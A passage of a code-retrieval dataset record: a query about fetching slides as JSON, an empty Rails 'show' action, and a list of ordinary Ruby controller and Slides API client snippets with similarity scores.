storage.nil?\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n header_params[:'password'] = password unless password.nil?\n\n # http body (model)\n post_body = nil\n\n # form parameters\n post_files = []\n\n auth_names = ['JWT']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :body => post_body,\n :files => post_files,\n :auth_names => auth_names,\n :return_type => 'Images')\n return data, status_code, headers\n end",
"def photos options={}\n response = client.get(\"/#{id}/photos\", options)\n end",
"def get_slide(name, slide_index, password = nil, folder = nil, storage = nil)\n data, _status_code, _headers = get_slide_with_http_info(name, slide_index, password, folder, storage)\n data\n end",
"def link_to_slides(attrs = {})\n link_to(\"slides\", \"./slides.html\", attrs)\n end",
"def index\n @images = getmydata(\"Image\")\n pagination\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @images }\n end\n end",
"def index\n @exercises = Exercise.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @exercises }\n end\n end",
"def get_layout_slides_with_http_info(name, password = nil, folder = nil, storage = nil)\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: SlidesApi.get_layout_slides ...'\n end\n\n # verify the required parameter 'name' is set\n if @api_client.config.client_side_validation && name.nil?\n fail ArgumentError, \"Missing the required parameter 'name' when calling SlidesApi.get_layout_slides\"\n end\n # resource path\n local_var_path = '/slides/{name}/layoutSlides'\n local_var_path = @api_client.replace_path_parameter(local_var_path, 'name', name)\n\n # query parameters\n query_params = {}\n query_params[:'folder'] = @api_client.prepare_for_query(folder) unless folder.nil?\n query_params[:'storage'] = @api_client.prepare_for_query(storage) unless storage.nil?\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n header_params[:'password'] = password unless password.nil?\n\n # http body (model)\n post_body = nil\n\n # form parameters\n post_files = []\n\n auth_names = ['JWT']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :body => post_body,\n :files => post_files,\n :auth_names => auth_names,\n :return_type => 'LayoutSlides')\n return data, status_code, headers\n end",
"def index\n @pictures = Picture.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @pictures }\n end\n end",
"def show\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @gallery }\n end\n end",
"def new\n @slide_image = SlideImage.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @slide_image }\n end\n end",
"def index\n @slide_types = SlideType.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @slide_types }\n end\n end",
"def new\n @title = t('view.slides.new_title')\n @slide = @lesson.slides.build\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @slide }\n end\n end",
"def show\n respond_to do |format|\n format.html {\n redirect_to collection_documents_path(@collection)\n }\n format.json\n end\n end",
"def index\n if request.referrer.split('/').last == \"preview\"\n @deleted_from_preview = true\n end\n \n @lectures = Lecture.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @lectures }\n end\n end",
"def show\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @gallery }\n end\n end",
"def show\n @exercise = Exercise.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @exercise }\n end\n end",
"def show\n @exercise = Exercise.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @exercise }\n end\n end",
"def index\n @contents = @slide.contents\n redirect_to new_presentation_slide_content_path(@presentation, @slide) unless @contents.any?\n end",
"def index\n render json: Picture.all\n end",
"def index\n @sections = params[:path].nil? ? Section.all : Section.where(path: params[:path])\n\n respond_to do |format|\n format.html { render html: @sections }\n format.json { render json: @sections }\n end\n end",
"def get_slideshows_by_user username_for, options = {}\n do_request 'get_slideshows_by_user', options.merge(username_for: username_for)\n end",
"def show\n @document_page = DocumentPage.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @document_page }\n end\n end"
] |
[
"0.7376037",
"0.7171162",
"0.71015084",
"0.71015084",
"0.71015084",
"0.70790684",
"0.70103985",
"0.70103985",
"0.6991744",
"0.68824214",
"0.6674912",
"0.6669872",
"0.65495557",
"0.65419656",
"0.650752",
"0.64139766",
"0.6309203",
"0.62592286",
"0.6236482",
"0.6232018",
"0.6223836",
"0.6223836",
"0.6223836",
"0.6134798",
"0.60969037",
"0.60958916",
"0.60868114",
"0.60868114",
"0.60591507",
"0.6041948",
"0.59972435",
"0.5978529",
"0.5970259",
"0.5937301",
"0.5931527",
"0.5930353",
"0.59301454",
"0.5920189",
"0.58958006",
"0.58636785",
"0.5854711",
"0.58517873",
"0.58508766",
"0.5847419",
"0.5847419",
"0.58272636",
"0.5821237",
"0.5810177",
"0.58040106",
"0.5798547",
"0.5785801",
"0.5770663",
"0.5753387",
"0.57400614",
"0.57400614",
"0.57400614",
"0.57350117",
"0.572593",
"0.57139486",
"0.56510746",
"0.56494933",
"0.56330407",
"0.5629784",
"0.56288165",
"0.5623859",
"0.56222343",
"0.56189597",
"0.5616344",
"0.56113225",
"0.56098056",
"0.5606844",
"0.5604739",
"0.56042564",
"0.560411",
"0.55783457",
"0.55783457",
"0.5571518",
"0.5566032",
"0.5563958",
"0.5563597",
"0.55619085",
"0.55552113",
"0.55504334",
"0.5546767",
"0.5544323",
"0.55390656",
"0.55372053",
"0.5533834",
"0.55309343",
"0.5525195",
"0.55147064",
"0.55112803",
"0.5506583",
"0.55045754",
"0.55045754",
"0.5502365",
"0.55010736",
"0.5499588",
"0.5479654",
"0.54783577"
] |
0.6952991
|
9
|
GET /slides/1 or /slides/1.json
|
def show
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def show\n @slideshow = Slideshow.find(params[:id])\n @slides = @slideshow.slides\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @slideshow }\n end\n end",
"def index\n @title = t('view.slides.index_title')\n @slides = @lesson.slides.page(params[:page])\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @slides }\n end\n end",
"def show\n @slide = Slide.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @slide }\n end\n end",
"def show\n @slide = Slide.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @slide }\n end\n end",
"def show\n @slide = Slide.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @slide }\n end\n end",
"def show\n @title = t('view.slides.show_title')\n @slide = @lesson.slides.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @slide }\n end\n end",
"def show\n @page_slide = Slide.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @page_slide }\n end\n end",
"def show\n @slideshow = Slideshow.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @slideshow }\n end\n end",
"def show\n @slideshow = Slideshow.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @slideshow }\n end\n end",
"def show\n @slides =@lecture.slides(params[:urlpage])\n \n end",
"def index\n @slides = Slide.all\n end",
"def get_slideshow slideshow_id, options = {}\n do_request 'get_slideshow', options.merge(q: q)\n end",
"def show\n @slideshow_item = SlideshowItem.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @slideshow_item }\n end\n end",
"def show\n @slide_image = SlideImage.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @slide_image }\n end\n end",
"def get_slides_with_http_info(name, password = nil, folder = nil, storage = nil)\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: SlidesApi.get_slides ...'\n end\n\n # verify the required parameter 'name' is set\n if @api_client.config.client_side_validation && name.nil?\n fail ArgumentError, \"Missing the required parameter 'name' when calling SlidesApi.get_slides\"\n end\n # resource path\n local_var_path = '/slides/{name}/slides'\n local_var_path = @api_client.replace_path_parameter(local_var_path, 'name', name)\n\n # query parameters\n query_params = {}\n query_params[:'folder'] = @api_client.prepare_for_query(folder) unless folder.nil?\n query_params[:'storage'] = @api_client.prepare_for_query(storage) unless storage.nil?\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n header_params[:'password'] = password unless password.nil?\n\n # http body (model)\n post_body = nil\n\n # form parameters\n post_files = []\n\n auth_names = ['JWT']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :body => post_body,\n :files => post_files,\n :auth_names => auth_names,\n :return_type => 'Slides')\n return data, status_code, headers\n end",
"def index\n @write_right = userCould :slide\n if params[:search] then\n @slides = Slide.find(:all, :conditions => [\"name LIKE ?\", \"%#{params[:search]}%\"])\n redirect_to @slides[0] if @slides.count == 1\n else\n @slides = Slide.all\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @slides }\n end\n end\n end",
"def show\n @event = Event.find params[:id]\n @slides = @event.slides.page(params[:page]).per(10)\n end",
"def index\n @slides = Slide.paginate(:page => 1, :per_page => 10)\n @page = 'slides'\n end",
"def index\n # authorize\n authorize! :read, Slideshow\n \n @slideshows = Slideshow.order(\"style ASC\").paginate(:page => params[:page], :per_page => 10)\n end",
"def new\n @slide = Slide.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @slide }\n end\n end",
"def new\n @slide = Slide.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @slide }\n end\n end",
"def new\n @slide = Slide.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @slide }\n end\n end",
"def get_slide_with_http_info(name, slide_index, password = nil, folder = nil, storage = nil)\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: SlidesApi.get_slide ...'\n end\n\n # verify the required parameter 'name' is set\n if @api_client.config.client_side_validation && name.nil?\n fail ArgumentError, \"Missing the required parameter 'name' when calling SlidesApi.get_slide\"\n end\n # verify the required parameter 'slide_index' is set\n if @api_client.config.client_side_validation && slide_index.nil?\n fail ArgumentError, \"Missing the required parameter 'slide_index' when calling SlidesApi.get_slide\"\n end\n # resource path\n local_var_path = '/slides/{name}/slides/{slideIndex}'\n local_var_path = @api_client.replace_path_parameter(local_var_path, 'name', name)\n local_var_path = @api_client.replace_path_parameter(local_var_path, 'slideIndex', slide_index)\n\n # query parameters\n query_params = {}\n query_params[:'folder'] = @api_client.prepare_for_query(folder) unless folder.nil?\n query_params[:'storage'] = @api_client.prepare_for_query(storage) unless storage.nil?\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n header_params[:'password'] = password unless password.nil?\n\n # http body (model)\n post_body = nil\n\n # form parameters\n post_files = []\n\n auth_names = ['JWT']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :body => post_body,\n :files => post_files,\n :auth_names => auth_names,\n :return_type => 'Slide')\n return data, status_code, headers\n end",
"def index\n @slides = Slide.paginate(:page => params[:page], :per_page => 10).order('id DESC').accessible_by(current_ability)\n end",
"def index\n @slideshows = Slideshow.all\n end",
"def new\n @slideshow = Slideshow.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @slideshow }\n end\n end",
"def new\n @slideshow = Slideshow.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @slideshow }\n end\n end",
"def new\n @page_slide = Slide.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @page_slide }\n end\n end",
"def index\n if params[:single]\n\t url = \"#{API_BASE_URL}/photos/#{params[:id]}.json?token=#{ENV['API_KEY']}\"\n\t response = RestClient.get(url)\n\t @photo = JSON.parse(response.body)\n\telse\n\t url = \"#{API_BASE_URL}/photos.json?token=#{ENV['API_KEY']}\"\n response = RestClient.get(url)\n @photos = JSON.parse(response.body)\t\t \n\tend\n end",
"def show\n @pic_story = PicStory.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @pic_story }\n end\n end",
"def index\n @slideshows = Slideshow.all\n @pag_url = '/slideshows/reload_pag'\n @page = 'home'\n end",
"def referSlide\n result = Hash.new\n result['status'] = true\n begin # try\n result['data'] = Slide.find_by( id: params[:id], lang: params[:lang], deleted_at: nil)\n rescue # catch\n result['status'] = false\n result['error'] = \"#{$!}\"\n ensure # finally\n render json: result\n end\n end",
"def show\n @slider_image = SliderImage.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @slider_image }\n end\n end",
"def show\n @slider_image = SliderImage.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @slider_image }\n end\n end",
"def get_slides(name, password = nil, folder = nil, storage = nil)\n data, _status_code, _headers = get_slides_with_http_info(name, password, folder, storage)\n data\n end",
"def new\n @pslide = Pslide.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @pslide }\n end\n end",
"def show\n @presentation = Presentation.find_by_name(params[:prez_id])\n @pslide = Pslide.find(params[:id])\n @pcontent=Array.new\n @pbehavior=Pbehavior.new\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @pslide }\n end\n end",
"def show\n @food_slider = FoodSlider.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @food_slider }\n end\n end",
"def show\n @pic = Pic.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @pic }\n end\n end",
"def index\n @illustrations = Illustration.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @illustrations }\n end\n end",
"def show\n @pro_wmall_slide_picture = Wmall::SlidePicture.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @pro_wmall_slide_picture }\n end\n end",
"def index\n if params[:search].present?\n @slides = Slide.where('LOWER(title) ILIKE ?', \"%#{params[:search].downcase}%\")\n else\n @slides = Slide.all\n end\n @slides = @slides.order('created_at desc').paginate(:page => params[:page])\n end",
"def index\n @live_promo_slides = PromoSlide.where(live: true).order('sort_order')\n @promo_slides = PromoSlide.where(live: false).order('updated_at desc')\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @promo_slides }\n end\n end",
"def get_notes_slide_with_http_info(name, slide_index, password = nil, folder = nil, storage = nil)\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: SlidesApi.get_notes_slide ...'\n end\n\n # verify the required parameter 'name' is set\n if @api_client.config.client_side_validation && name.nil?\n fail ArgumentError, \"Missing the required parameter 'name' when calling SlidesApi.get_notes_slide\"\n end\n # verify the required parameter 'slide_index' is set\n if @api_client.config.client_side_validation && slide_index.nil?\n fail ArgumentError, \"Missing the required parameter 'slide_index' when calling SlidesApi.get_notes_slide\"\n end\n # resource path\n local_var_path = '/slides/{name}/slides/{slideIndex}/notesSlide'\n local_var_path = @api_client.replace_path_parameter(local_var_path, 'name', name)\n local_var_path = @api_client.replace_path_parameter(local_var_path, 'slideIndex', slide_index)\n\n # query parameters\n query_params = {}\n query_params[:'folder'] = @api_client.prepare_for_query(folder) unless folder.nil?\n query_params[:'storage'] = @api_client.prepare_for_query(storage) unless storage.nil?\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n header_params[:'password'] = password unless password.nil?\n\n # http body (model)\n post_body = nil\n\n # form parameters\n post_files = []\n\n auth_names = ['JWT']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :body => post_body,\n :files => post_files,\n :auth_names => auth_names,\n :return_type => 'NotesSlide')\n return data, status_code, headers\n end",
"def index\n @pic_stories = PicStory.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @pic_stories }\n end\n end",
"def index\n @slider_images = SliderImage.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @slider_images }\n end\n end",
"def slide\n slides.first rescue nil\n end",
"def show\n @web_slide = WebSlide.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @web_slide }\n end\n end",
"def show\n @illustration = Illustration.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @illustration }\n end\n end",
"def show\n @illustration = Illustration.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @illustration }\n end\n end",
"def show\n @presentation = Presentation.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @presentation }\n end\n end",
"def index\n @food_sliders = FoodSlider.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @food_sliders }\n end\n end",
"def index\n @slideshow_items = SlideshowItem.order(\"display_order ASC\")\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @slideshow_items }\n end\n end",
"def get(url, options={})\n resp = RestClient.get url, rest_client_options(options)\n Representation.new self, MultiJson.load(resp)\n end",
"def show\n @slide_type = SlideType.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @slide_type }\n end\n end",
"def index\n logger.info params.inspect\n if params[:toggle_activation]\n slide = Slide.where(:id => params[:toggle_activation]).first\n logger.info slide\n slide.toggle_visibility!\n slide.save\n end\n if params[:up]\n slide = Slide.where(:position => params[:up]).first\n if slide.position > 1\n other_slide = Slide.where(:position => slide.position-1).first\n other_slide.increment :position\n slide.decrement :position\n other_slide.save\n slide.save\n slide.reorder_positions!\n end\n end\n if params[:down]\n slide = Slide.where(:position => params[:down]).last\n logger.info \"found slide #{slide.inspect}\"\n if slide.position < Slide.where(:visible => true).count\n other_slide = Slide.where(:position => slide.position+1).first\n other_slide.decrement :position\n slide.increment :position\n other_slide.save\n slide.save\n slide.reorder_positions!\n end\n end\n\n @slides = Slide.find( :all, :order => \"visible DESC, position ASC\")\n \n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @slides }\n end\n end",
"def get_master_slides_with_http_info(name, password = nil, folder = nil, storage = nil)\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: SlidesApi.get_master_slides ...'\n end\n\n # verify the required parameter 'name' is set\n if @api_client.config.client_side_validation && name.nil?\n fail ArgumentError, \"Missing the required parameter 'name' when calling SlidesApi.get_master_slides\"\n end\n # resource path\n local_var_path = '/slides/{name}/masterSlides'\n local_var_path = @api_client.replace_path_parameter(local_var_path, 'name', name)\n\n # query parameters\n query_params = {}\n query_params[:'folder'] = @api_client.prepare_for_query(folder) unless folder.nil?\n query_params[:'storage'] = @api_client.prepare_for_query(storage) unless storage.nil?\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n header_params[:'password'] = password unless password.nil?\n\n # http body (model)\n post_body = nil\n\n # form parameters\n post_files = []\n\n auth_names = ['JWT']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :body => post_body,\n :files => post_files,\n :auth_names => auth_names,\n :return_type => 'MasterSlides')\n return data, status_code, headers\n end",
"def slides\n @id = params[:id]\n @item = Item.find(@id)\n begin\n @slides = @item.images.where(['publish=?', true]).order('position')\n rescue => error\n flash[:error] = error.message\n ensure\n # no slides found so create some\n if @slides.empty?\n @slides = @item.create_images\n end\n end\n unless @id.nil? || @slides.nil? || @slides.empty?\n respond_to do |format|\n format.xml\n end\n else\n flash[:error] = 'Unable to locate process slides for id number ' + params[:id].to_s + '.'\n end\n end",
"def show\n @slideshow = Slideshow.find(params[:id])\n session[:slideshow] = @slideshow\n session[:slide_index] = 0\n @slide = @slideshow.slides[0]\n\n#respond_to do |format|\n# format.html # show.html.erb\n# format.xml { render :xml => @slideshow }\n# end\n end",
"def get_slideshows_by_tag tag, options = {}\n do_request 'get_slideshows_by_tag', options.merge(tag: tag)\n end",
"def get_slide(name, slide_index, password = nil, folder = nil, storage = nil)\n data, _status_code, _headers = get_slide_with_http_info(name, slide_index, password, folder, storage)\n data\n end",
"def index\n @presentation = Presentation.friendly.find(params[:presentation_id])\n @slides = @presentation.slides.order(sort_order: :asc)\n redirect_to new_presentation_slide_path(@presentation) unless @slides.any?\n\n add_breadcrumb @presentation.name, presentation_path(@presentation)\n add_breadcrumb 'Slides', presentation_slides_path(@presentation)\n\n end",
"def show\n @livro = Livro.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @livro }\n end\n end",
"def index\n query = Slide.includes(:signs).nondraft\n query = query.owned_by(current_user) if params['filter'] == 'mine'\n if params['sort'] == 'popular'\n query = query.popular\n elsif params['sort'] == 'alpha'\n query = query.alpha\n else\n query = query.newest\n end\n @signs = Sign.order(:name)\n @slides = query.search(params[:search]).page params[:page]\n end",
"def show\n @exercise = Exercise.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @exercise }\n end\n end",
"def show\n @exercise = Exercise.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @exercise }\n end\n end",
"def show\n photo_obj = API.get_one(params[:id])\n if photo_obj['error'].nil?\n photo = PhotoPresenter.new(photo_obj['photo'])\n render :json => photo.as_json\n else\n render :json => photo_obj\n end\n end",
"def new\n @title = t('view.slides.new_title')\n @slide = @lesson.slides.build\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @slide }\n end\n end",
"def set_slides\n @keyword = params[:keyword]\n @slides = Flika.search(@keyword)\n end",
"def get_slide_images_with_http_info(name, slide_index, password = nil, folder = nil, storage = nil)\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: SlidesApi.get_slide_images ...'\n end\n\n # verify the required parameter 'name' is set\n if @api_client.config.client_side_validation && name.nil?\n fail ArgumentError, \"Missing the required parameter 'name' when calling SlidesApi.get_slide_images\"\n end\n # verify the required parameter 'slide_index' is set\n if @api_client.config.client_side_validation && slide_index.nil?\n fail ArgumentError, \"Missing the required parameter 'slide_index' when calling SlidesApi.get_slide_images\"\n end\n # resource path\n local_var_path = '/slides/{name}/slides/{slideIndex}/images'\n local_var_path = @api_client.replace_path_parameter(local_var_path, 'name', name)\n local_var_path = @api_client.replace_path_parameter(local_var_path, 'slideIndex', slide_index)\n\n # query parameters\n query_params = {}\n query_params[:'folder'] = @api_client.prepare_for_query(folder) unless folder.nil?\n query_params[:'storage'] = @api_client.prepare_for_query(storage) unless storage.nil?\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n header_params[:'password'] = password unless password.nil?\n\n # http body (model)\n post_body = nil\n\n # form parameters\n post_files = []\n\n auth_names = ['JWT']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :body => post_body,\n :files => post_files,\n :auth_names => auth_names,\n :return_type => 'Images')\n return data, status_code, headers\n end",
"def show\n @exercise = Exercise.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @exercise }\n end\n end",
"def index\n @exercises = Exercise.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @exercises }\n end\n end",
"def index\n @exercises = Exercise.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @exercises }\n end\n end",
"def show\n @exercise = Exercise.find_by_id(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @exercise }\n end\n end",
"def show\n @mision = Mision.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @mision }\n end\n end",
"def new\n @slide_image = SlideImage.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @slide_image }\n end\n end",
"def index\n @images = Image.all\n\n respond_to do |format|\n format.html # index.html.slim\n format.json { render json: @images }\n end\n end",
"def index\n @exercises = Exercise.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @exercises }\n end\n end",
"def show\n @gallery = Gallery.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @gallery }\n end\n end",
"def index\n @galleries = Gallery.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @galleries }\n end\n end",
"def index\n @galleries = Gallery.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @galleries }\n end\n end",
"def index\n @galleries = Gallery.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @galleries }\n end\n end",
"def show\n @gallery = Gallery.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @gallery }\n end\n end",
"def index\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @pictures }\n end\n end",
"def index\n @galleries = Gallery.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @galleries }\n end\n end",
"def new\n @slideshow_item = SlideshowItem.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @slideshow_item }\n end\n end",
"def index\n @images = getmydata(\"Image\")\n pagination\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @images }\n end\n end",
"def show\n @story = Story.find(params[:id])\n @epics = Epic.all\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @story }\n end\n end",
"def index\n @pictures = Picture.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @pictures }\n end\n end",
"def set_slide\n @slide = @presentation.slides.friendly.find(params[:id]) \n end",
"def show\n @photo = Photo.find(params[:id])\n\n render json: @photo\n end",
"def show\n @casestudy = Casestudy.find(params[:id])\n @photos = @casestudy.photos.order( :created_at )\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @casestudy }\n end\n end",
"def index\n @s = Script.find(params[:script_id])\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @interviews }\n end\n end",
"def show\n @study = Study.find(params[:id])\n render json: @study\n end",
"def show\n\n active_doc = site_account.api_docs_services.published.find_by_id_or_system_name! params[:id]\n\n json = if active_doc.specification.swagger_2_0?\n active_doc.specification.as_json\n else\n ThreeScale::Swagger::Translator.translate! active_doc.body\n end\n\n respond_with json\n end",
"def get_layout_slides_with_http_info(name, password = nil, folder = nil, storage = nil)\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: SlidesApi.get_layout_slides ...'\n end\n\n # verify the required parameter 'name' is set\n if @api_client.config.client_side_validation && name.nil?\n fail ArgumentError, \"Missing the required parameter 'name' when calling SlidesApi.get_layout_slides\"\n end\n # resource path\n local_var_path = '/slides/{name}/layoutSlides'\n local_var_path = @api_client.replace_path_parameter(local_var_path, 'name', name)\n\n # query parameters\n query_params = {}\n query_params[:'folder'] = @api_client.prepare_for_query(folder) unless folder.nil?\n query_params[:'storage'] = @api_client.prepare_for_query(storage) unless storage.nil?\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n header_params[:'password'] = password unless password.nil?\n\n # http body (model)\n post_body = nil\n\n # form parameters\n post_files = []\n\n auth_names = ['JWT']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :body => post_body,\n :files => post_files,\n :auth_names => auth_names,\n :return_type => 'LayoutSlides')\n return data, status_code, headers\n end",
"def destroy\n @slide = @lesson.slides.find(params[:id])\n @slide.destroy\n\n respond_to do |format|\n format.html { redirect_to(lesson_slides_url(@lesson)) }\n format.json { head :ok }\n end\n end",
"def show_slide\n @slide = @slideshow.slides[session[:slide_index]]\n session[:slide_index] += 1\n if @slide.nil?\n session[:slide_index] = 0\n @slide = @slideshow.slides[0]\n end\n render partial: \"show_slides\"\n end",
"def set_slideshow\n @slideshow = Slideshow.find(params[:id])\n end",
"def set_slideshow\n @slideshow = Slideshow.find(params[:id])\n end",
"def show\n @interview = Interview.find_by_slug(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @interview }\n end\n end"
] |
[
"0.7305818",
"0.7116313",
"0.70536166",
"0.70536166",
"0.70536166",
"0.70504314",
"0.7037086",
"0.69990486",
"0.69990486",
"0.6878444",
"0.6744597",
"0.6640896",
"0.66383076",
"0.66097444",
"0.6606464",
"0.64308923",
"0.6289725",
"0.6286855",
"0.6201717",
"0.6201585",
"0.6201585",
"0.6201585",
"0.61815655",
"0.61644024",
"0.61309093",
"0.60947865",
"0.60947865",
"0.6085846",
"0.60371274",
"0.6001313",
"0.597135",
"0.5969984",
"0.59672356",
"0.59672356",
"0.5951071",
"0.59432864",
"0.5932048",
"0.59311044",
"0.5894018",
"0.58874357",
"0.5884565",
"0.5875958",
"0.5875409",
"0.5867714",
"0.5863297",
"0.5851719",
"0.5835596",
"0.5807608",
"0.58024985",
"0.58024675",
"0.5802001",
"0.57922447",
"0.57295555",
"0.5729129",
"0.5710019",
"0.5705142",
"0.57047284",
